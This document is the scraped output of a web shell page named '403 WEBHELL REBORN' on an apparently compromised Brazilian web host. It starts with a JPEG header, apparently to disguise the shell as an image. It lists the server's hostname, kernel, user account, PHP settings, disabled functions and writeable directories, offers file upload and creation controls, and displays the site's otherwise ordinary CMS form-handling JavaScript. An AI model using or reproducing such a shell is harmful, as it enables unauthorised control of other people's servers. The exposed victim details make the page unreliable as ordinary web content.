ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/farolpborg/public_html/cms/_assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /home/farolpborg/public_html/cms/_assets/js/formulario.js
$(document).ready(function(){
    
    if($('.alerts').is(':visible')){
        setTimeout(function(){
            $('.alerts').hide();
        }, 2050);
    }
    
    /* datetimepicker */
    $.datetimepicker.setLocale('pt-BR');
    
    $('#data, #dtcertame').datetimepicker({
        timepicker: false,
        format: 'd/m/Y',
		scrollMonth: false,
		scrollInput: false
    });
    
    $('#hora, #hrabertura').datetimepicker({
        datepicker: false,
        format: 'H:i',
        step: 15
    });
    
    $('#datahora, #datahora_final').datetimepicker({
        format: 'd/m/Y H:i',
        step: 15,
		scrollMonth: false,
		scrollInput: false
    });
    
    $('#datahora2').datetimepicker({
        format: 'd/m/Y H:i',
		scrollMonth: false,
		scrollInput: false
    });
    
    $('#datahora_vazio').datetimepicker({
        format: 'd/m/Y H:i',
		scrollMonth: false,
		scrollInput: false
    });

//    if($("#datahora_vazio").is(":checked") == false){
//        alert('datahora_vazio_false');
//        $('#datahora_vazio').datetimepicker().clear()
//        $('#datahora_vazio').val('');
//    }
    
    $('#prazo_inscricao').datetimepicker({
        format: 'd/m/Y H:i',
        step: 1,
		scrollMonth: false,
		scrollInput: false
    });
    
    $(window).scroll(function(){
        if($(this).scrollTop() > 0){
            $('.xdsoft_datetimepicker').hide();
        }
    });
    
    /* capitular texto */
    $('i.tul').click(function() {
        var diminuir = $(this).closest('div').find('input.tul');
        var arr = diminuir.val().split(' ');
        var result = arr.map(function(word) {
            // Transformar para minúsculas e capitalizar apenas palavras com mais de 2 caracteres
            return word.length > 3 
                ? word.charAt(0).toUpperCase() + word.slice(1).toLowerCase()
                : word.toLowerCase();
        }).join(' ');

        diminuir.val(result);
        diminuir.focus();
    });
    
    /* aumentar diminui posicao */
    $('i.dpo').click(function(){
        var pvp = $(this).closest('div').find('.dapo').val();
       	if(pvp > 1){
            $(this).closest('div').find('.dapo').val(parseInt(pvp) - 1);
		}
    });
    $('i.apo').click(function(){
        var pvp = $(this).closest('div').find('.dapo').val();
       	if(pvp <= 9998){
            $(this).closest('div').find('.dapo').val(parseInt(pvp) + 1);
        }
    });
    
    $('i.ddi').click(function(){
        var dvd = $(this).closest('div').find('.dadi').val();
       	if(dvd > 0){
            $(this).closest('div').find('.dadi').val(parseInt(dvd) - 1);
		}
    });
    $('i.adi').click(function(){
        var dvd = $(this).closest('div').find('.dadi').val();
       	if(dvd <= 9998){
            $(this).closest('div').find('.dadi').val(parseInt(dvd) + 1);
        }
    });
    
    /* tags 
    $('#area_atuacao').tagsInput({
        autocomplete_url: UrlCms+'/membros-areas-json'
    });*/
       
    $("#area_atuacao").select2({
        placeholder: "Escolha uma ou mais opções",
        allowClear: true
    });
    function checkInitialValues() {
        if ($("#area_atuacao").val() && $("#area_atuacao").val().length > 0) {
            $(".custom-icon").hide();
        } else {
            $(".custom-icon").show();
        }
    }

    // Esconder o ícone ao selecionar uma opção
    $("#area_atuacao").on("select2:select", function () {
        $(".custom-icon").hide();
    });

    // Monitorar mudanças e verificar quando a última opção for removida
    $("#area_atuacao").on("select2:unselect", function () {
        setTimeout(function () {
            if ($(".select2-selection__choice").length === 0) {
                $(".custom-icon").show();
            }
        }, 10);
    });

    // Mostrar o ícone ao limpar tudo
    $("#area_atuacao").on("select2:clear", function () {
        $(".custom-icon").show();

        setTimeout(function () {
            $(".select2-selection__clear").hide();
        }, 10);
    });

    // **Executar verificação inicial ao carregar a página**
    $(document).ready(function () {
        checkInitialValues();
    });

        
    /* seleciona cor */
    var mousedown = false;
    
    var inpcor = $('input.sco');
    var cores = [ 
        '#36424e', '#2a95d4', '#00c6ff', '#46d6db', '#7ae7bf', '#7bd148', '#51b749', '#fbd75b', '#ffb878', '#ff887c', '#ed1c24', '#dbadff'
    ];
    var titulos = [ 
        'Cinza', 'Azul escuro', 'Azul', 'Azul turquesa', 'Azul água', 'Verde', 'Verde escuro', 'Amarelo', 'Laranja', 'Vermelho', 'Vermelho escuro', 'Rosa'
    ];
    
    for(i=0; i < cores.length; i++){
        $('.colorpicker').append('<i style="background-color:' + cores[i] + '" title="' + titulos[i] + '" data-href="' + cores[i] + '"></i>');
    }
    
    $('.colorpicker > i').click(function(e){
        var cp = $(this).attr('data-href');
        $(this).closest('div').parent().find('input.sco').val(cp);
        $(this).closest('div').parent().find('input.sco').focus();
        $(this).closest('div').parent().find('.colorpicker').toggle();
        $(this).closest('div').parent().find('small.sco').css({ 'background-color': cp, display: 'block' });
        e.stopPropagation();
//        $(this).alert(cp);
    });
    
    inpcor.click(function(e){
        $(this).closest('div').parent().find('.colorpicker').show();
        mousedown = true;
        e.stopPropagation();
    });
    
    inpcor.focusin(function(){
        $(this).closest('div').parent().find('.colorpicker').show();
    });
    
    $(window).scroll(function(){
        if($(this).scrollTop() > 0){
            $('.colorpicker').hide();
        }
    });
    
    $(document).click(function(){
        if(mousedown = true){
            $('.colorpicker').hide();
            mousedown = false;
        }
    });
    
    $('input[type=text].sco').focusout(function(){
        $(this).closest('div').parent().find('small.sco').css({ 'background-color': $(this).val(), display: 'block' });
    });
    
    /* preview imagem */
    $('input.pim').change(function(){
        var input = this;
        if(input.files && input.files[0]){
            var reader = new FileReader();
            reader.onload = function(e){
                $(input).closest('div.clearfix').find('a').hide();
                $(input).closest('div.clearfix').find('br').hide();
                $(input).closest('div.clearfix').find('img.pim').attr('src', e.target.result).show();
            }
            reader.readAsDataURL(input.files[0]);
        }
    });
    
    /* selecionar icone */
    var inpico = $('input.sic');
    var icopic = $('.iconpicker');
    inpico.click(function(e){
		icopic.show();
		$('.iconpicker input[name=filtrar]').val('');
		$('.iconpicker input[name=filtrar]').focus();
        $('.iconpicker li a').show();
        mousedown = true;
        e.stopPropagation();
        return false;
	});
    
	icopic.click(function(e){
		mousedown = false;
        e.stopPropagation();
	});
    
    $(window).scroll(function(){
        if($(this).scrollTop() > 0){
            icopic.hide();
        }
    });
    
    $(document).click(function(){
        if(mousedown = true){
            icopic.hide();
            mousedown = false;
        }
    });
    
    $('.filtrar input[name=filtrar]').keyup(function(){
        var rex = new RegExp($(this).val(), 'i');
        var filtrar = $('.iconpicker li a');
        var titulo = $('.iconpicker h4');
        var limpar = $('.filtrar a.icolim');
        var length = $(this).val().length == 0;
        if(length){
            titulo.show();
            limpar.hide();
        } else {
            titulo.hide();
            limpar.show();
        }
        filtrar.hide();
        filtrar.filter(function(){
            return rex.test($(this).attr("onclick"));
        }).show();
	});
    
	$('.filtrar a.icolim').click(function(e){
		$('.iconpicker input[name=filtrar]').focus();
		$('.iconpicker input[name=filtrar]').val('');
        $('.iconpicker li a, .iconpicker h4').show();
        $(this).hide();
        e.stopPropagation();
	});
    
    /* maximo de palavras */
    $('input.inpkey').keypress(function(e){
        var value = $(this).val();
        var words = value.split(",");
        if(words.length > 10){
            if(e.which == 8){
                return true;
            } else {
                return false;
            }
        }
    });
    
    /* conta caracteres */
    var mlength = 155;
    var clength = ($('textarea.txtcc').val() || '').length;
    var lfinal = mlength - clength;
    
    $('small.txtcc').html(lfinal + ' caracteres restantes');
    
    $('textarea.txtcc').keyup(function(){
        var qtdlen = $(this).val().length;
        var remaining = mlength - qtdlen;
        if(remaining == 0){
            $('small.txtcc').html('Chegou no limite máximo de ' + mlength + ' caracteres');
        } else {
            $('small.txtcc').html(remaining + ' caracteres restantes');
        }
    });

    var mlengthh = 255;
    var clengthh = ($('textarea.txtccc').val() || '').length;
    var lfinall = mlengthh - clengthh;
    
    $('small.txtccc').html(lfinall + ' caracteres restantes');
    
    $('textarea.txtccc').keyup(function(){
        var qtdlenn = $(this).val().length;
        var remainingg = mlengthh - qtdlenn;
        if(remainingg == 0){
            $('small.txtccc').html('Chegou no limite máximo de ' + mlengthh + ' caracteres');
        } else {
            $('small.txtccc').html(remainingg + ' caracteres restantes');
        }
    });
    
    /* mascara */
    $('input:text').setMask();
    $('input[data-mask]').each(function(){
          $(this).setMask($(this).data('mask'));
    });
    
    /* escolher tipo */
    $('input[name=tipo]').click(function(){
        var seltip = $(this).val();
        $('.tipo0, .tipo1, .tipo2').hide();
        $('.tipo' + seltip).show();
        $('.tipo' + seltip + ' input[type=text]').val('').focus();
        $('.tipo' + seltip + ' select option:first').prop('selected', true);
    });
    
    /* mostrar campo */
    $('.imparq').hide();
    $('input[name=id_lista]').click(function(){
        $('.imparq').show();
    });
    
    $('input[name=permanente]').click(function(){
        if($('.escdat').is(":visible")){
            $('.escdat').hide();
            $('#datahora_vazio').val('');
        } else {
            $('.escdat').show();
            $('#datahora_vazio').val('');
        }
    });
    
    /* textarea 
    bkLib.onDomLoaded(function(){
        $("textarea#txtarea, textarea#txtareaa, textarea#txtareaaa").each(function(){
            new nicEditor().panelInstance(this);
        });
        $("textarea#txtsup").each(function(){
            new nicEditor({ 
                buttonList : [
                    'bold', 'italic','underline', 'upload', 'image', 'xhtml'
                ] 
            }).panelInstance('txtsup');
        });
        $("textarea#txttit").each(function(){
            new nicEditor({ 
                buttonList : [
                    'bold', 'italic','underline', 'xhtml'
                ] 
            }).panelInstance('txttit');
        });
        $("textarea#txtareapro, textarea#txtareaproo, textarea#txtareaprooo, textarea#txtareaproooo, textarea#txtareaprooooo, textarea#txtareaproooooo").each(function(){
            new nicEditor({ 
                buttonList : [
                    'bold', 'italic','underline', 'xhtml'
                ] 
            }).panelInstance(this);
        });
    });
    
    $('.nicEdit-buttonContain div').hover(function(){
        $(this).css({ 'background-color':'#F00' })
    });*/
    var textareas = $('textarea#txtarea, textarea#txtareaa, textarea#txtareaaa');
    
    var UploadsButton = function () {
        var ui = $.summernote.ui;
        var button = ui.button({
            contents: '<i class="fa fa-cloud-upload"/>',
            tooltip: 'Uploader',
            click: function () {
//                textareas.summernote('editor.insertText', 'hello');
                $.fancybox({
                    width: '70%',
                    type: 'iframe',
                    href: UrlCms+'/uploader/sem-menu',
                    helpers: {
                        openEffect: 'none',
                        closeEffect: 'none',
                        overlay: {
                            locked: false
                        }
                    }
                });
            }
        });
        return button.render();   // return button as jquery object
    }   
    
    textareas.summernote({
        minHeight: 200,
        followingToolbar: true,
        toolbar: [
          ['style', ['style', 'clear']],
          ['font', ['bold', 'italic', 'underline']],
          ['fontsize', ['fontsize']],
          ['color', ['color']],
          ['para', ['ul', 'ol', 'paragraph']],
          ['table', ['table']],
          ['insert', ['link', 'picture', 'video', 'uploades']],
          ['view', ['codeview', 'fullscreen', 'help']]
        ],
        buttons: {
            uploades: UploadsButton
        },
        fontSizes: ['11', '13', '15', '17', '20', '24', '36', '48'],
        onPaste: function (e) {
			var bufferText = ((e.originalEvent || e).clipboardData || window.clipboardData).getData('Text');
			e.preventDefault();
			document.execCommand('insertText', false, bufferText);
		},
        callbacks: {
            onImageUpload: function(files, editor, welEditable) {
                enviarImagem(files[0], editor, welEditable);
            },
            onImageLinkInsert: function(url) {
                var imageUrl = $('<img>').attr({ src: url })
                textareas.summernote('insertNode', imageUrl[0]);
            }
        },
        /*popover: {
            image: [
                ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],
                ['float', ['floatLeft', 'floatRight', 'floatNone']],
                ['remove', ['removeMedia']],
                ['custom', ['imageAttributes']],
            ],
        },
        lang: 'pt-BR',
        imageAttributes:{
            icon: '<i class="note-icon-pencil"/>',
        	manageAspectRatio: true,
            removeEmpty: true, // true = remove attributes | false = leave empty if present
            disableUpload: true // true = don't display Upload Options | Display Upload Options
        }*/
    });
    $('textarea#txtsup').summernote({
        followingToolbar: true,
        toolbar: [
          ['font', ['bold', 'italic', 'underline']],
          ['insert', ['link', 'picture', 'video']],
          ['view', ['clear', 'codeview', 'fullscreen', 'help']]
        ],
        onPaste: function(e) {
			var bufferText = ((e.originalEvent || e).clipboardData || window.clipboardData).getData('Text');
			e.preventDefault();
			document.execCommand('insertText', false, bufferText);
		}
    });
    $('textarea#txttit, textarea#txtsubtit, textarea#txttexto, textarea#txtareapro, textarea#txtareaproo, textarea#txtareaprooo, textarea#txtareaproooo, textarea#txtareaprooooo, textarea#txtareaproooooo').summernote({
        followingToolbar: true,
        toolbar: [
          ['font', ['bold', 'italic', 'underline']],
          ['view', ['clear', 'codeview', 'fullscreen', 'help']]
        ],
        onPaste: function(e) {
			var bufferText = ((e.originalEvent || e).clipboardData || window.clipboardData).getData('Text');
			e.preventDefault();
			document.execCommand('insertText', false, bufferText);
		}
    });
    
    function enviarImagem(file, editor, welEditable) {
        data = new FormData();
        data.append("file", file);
        $.ajax({
            data: data,
            type: "POST",
            url: UrlCms+'/smm-uploader',
            cache: false,
            contentType: false,
            processData: false,
            success: function(url) {
//                alert(url);
//                editor.insertImage(welEditable, url);
                var image = $('<img>').attr({ src: url });
                textareas.summernote("insertNode", image[0]);
//                $summernote.summernote("insertNode", image[0]);
            }
        });
    }
    
    /* ampliar imagem */
    $('a.ampimg, a.ampupl').fancybox({
        helpers: {
            openEffect: 'none',
            closeEffect: 'none',
            overlay: {
                locked: false
            }
        },
        beforeShow: function(){
            this.title = $(this.element).data("caption");
        }
    });
    
    /* senha */
	$('input[type=password].nse').strength();
    
    /* abrir arquivo */
    $('a.abrarq').fancybox({
        type: 'iframe',
        helpers: {
            openEffect: 'none',
            closeEffect: 'none',
            overlay: {
                locked: false
            }
        },
        beforeShow: function(){
            this.title = $(this.element).data("caption");
        }
    });
    
    $('a.subir').click(function(){
		$('body, html').scrollTop(0);
	});
    
    /* adicionar */
    
    $('input[name=subitem]').change(function() {
        if ( $(this).is(":checked") ) {
            $(this).val('1'); 
        } else if ( $(this).not(":checked") ) {
            $(this).val('0');
        }       
    });
    
    $('input[name=alvo]').change(function() {
        if ( $(this).is(":checked") ) {
            $(this).val('1'); 
        } else if ( $(this).not(":checked") ) {
            $(this).val('0');
        }       
    });
    
    var itsort = $('.ordmen');
    
    $('.additemen').click(function(e){
        e.preventDefault();
        var id_item = $('input[name=id]').val();
        var subitem = $('select[name=subitem]').val();
        var alvo = $('input[name=alvo]').val();
//        alert(alvo);
        if($('input[name=subitem]').is(':checked')){
            var addsi = 'submen';
        }
        if($('.tipo0').is(':visible')){
            var ref_categoria = $('select[name=ref_categoria]').val();
            var ref_categoria_at = $('select[name=ref_categoria]').find(':selected').attr('name');
            
            itsort.append('<div class="'+addsi+'"><i class="zmdi zmdi-menu"></i> '+ref_categoria_at+'<i class="zmdi zmdi-minus-circle-outline delordmen" title="Deletar item?"></i></div>');
        } else {
            var titulo_url = $('input[name=titulo_url]').val();
            var link_url = $('input[name=url]').val();
            
            itsort.append('<div class="'+addsi+'"><i class="zmdi zmdi-menu"></i> '+titulo_url+'<i class="zmdi zmdi-minus-circle-outline delordmen" title="Deletar item?"></i></div>');
        }
        var sucesso_add = '<div class="alerts sucesso"><i class="zmdi zmdi-check-circle"></i><span>Item adicionado com sucesso!</span></div>';
        var erro_add = '<div class="alerts erro"><i class="zmdi zmdi-close-circle"></i><span>Erro ao adicionar!</span></div>';
        $.ajax({
            data: { id_item: id_item, ref_categoria: ref_categoria, titulo_url: titulo_url, link_url: link_url, alvo: alvo, subitem: subitem },
            method: 'POST',
            url: UrlCms+'/menus-form/adicionar_item',
            success: function(data){
                $('.sem-item').hide();
                $('.conteudo').append(sucesso_add).show();
                setTimeout(function(){
                    $('.alerts').hide();
                    window.location.reload();
                }, 1025);
            },
            error: function(){
                $('.conteudo').append(erro_add).show();
                setTimeout(function(){
                    $('.alerts').hide();
                }, 4100);
            }
        });
    });
    
    /* ordenar */
    itsort.sortable({
        cancel: '.sem-item',
        axis: 'y',
        cursor: 'grabbing',
        stop: function(event, ui){
            var id_menu = $('input[name=id]').val();
            var sortable_data = itsort.sortable('serialize');
            var sucesso_order = '<div class="alerts sucesso"><i class="zmdi zmdi-check-circle"></i><span>Item(ns) do menu salvo(s) com sucesso!</span></div>';
            var erro_order = '<div class="alerts erro"><i class="zmdi zmdi-close-circle"></i><span>Erro ao posicionar!</span></div>';
            $.ajax({
                cache: false,
                data: sortable_data,
                type: 'POST',
                url: UrlCms+'/menus-orde/'+id_menu,
                success: function(sortable_data){
                    $('.coldir').append(sucesso_order).show();
                    setTimeout(function(){
                        $('.alerts').hide();
                    }, 2050);
                },
                error: function(xhr, status, error){
                    $('.conteudo').append(erro_order).show();
                    var err = eval("(" + xhr.responseText + ")");
                    alert(err.Message);
                }
            });
        }
    }).disableSelection();
    
    /* deletar */
    $('body').on('click','.delordmen',function(e){
        e.preventDefault();
        var dataname = $(this).closest('div');
        var dataid = $(this).closest('div').attr('id').replace('item-','');
        var sucesso_delete = '<div class="alerts sucesso"><i class="zmdi zmdi-check-circle"></i><span>Deletado com sucesso!</span></div>';
        var erro_delete = '<div class="alerts erro"><i class="zmdi zmdi-close-circle"></i><span>Erro ao posicionar!</span></div>';
        if(confirm('Você deseja realmente excluir?')){
            $.ajax({
                data: { id: dataid },
                method: 'POST',
                url: UrlCms+'/menus-form/deletar_posicao/'+dataid,
                success: function(data){
                    dataname.remove();
                    $('.conteudo').append(sucesso_delete).show();
                    setTimeout(function(){
                        $('.alerts').hide();
                    }, 2050);
                },
                error: function(){
                    $('.conteudo').append(erro_delete).show();
                    setTimeout(function(){
                        $('.alerts').hide();
                    }, 4100);
                }
            });
        }
    });
    
    /* carregar */
    $('#id_cidade').change(function(){
        var bairro = $('#bairro');
        var id_cidade = $("#id_cidade").val();
        $.ajax({
            type: "GET",
            url: UrlCms+"/carregar.php",
            data: { id_cidade: id_cidade },
            cache: false,
            success: function(data){
                bairro.html(data);
            },
            error: function(){
                bairro.html('Ocorreu um erro ao atualizar!');	
            }
        });
    });
    
});

function seliconpicker(thisValue){
	$('input.sic').val(thisValue);
	$('.iconpicker').toggle();
	$('small.sic').css({ 'padding-top': '8px' });
	$('small.sic').remove();
	$('<small class="sic fa fa-' + thisValue + '"></small>').insertAfter('i.zmdi-mood');
}

Anon7 - 2021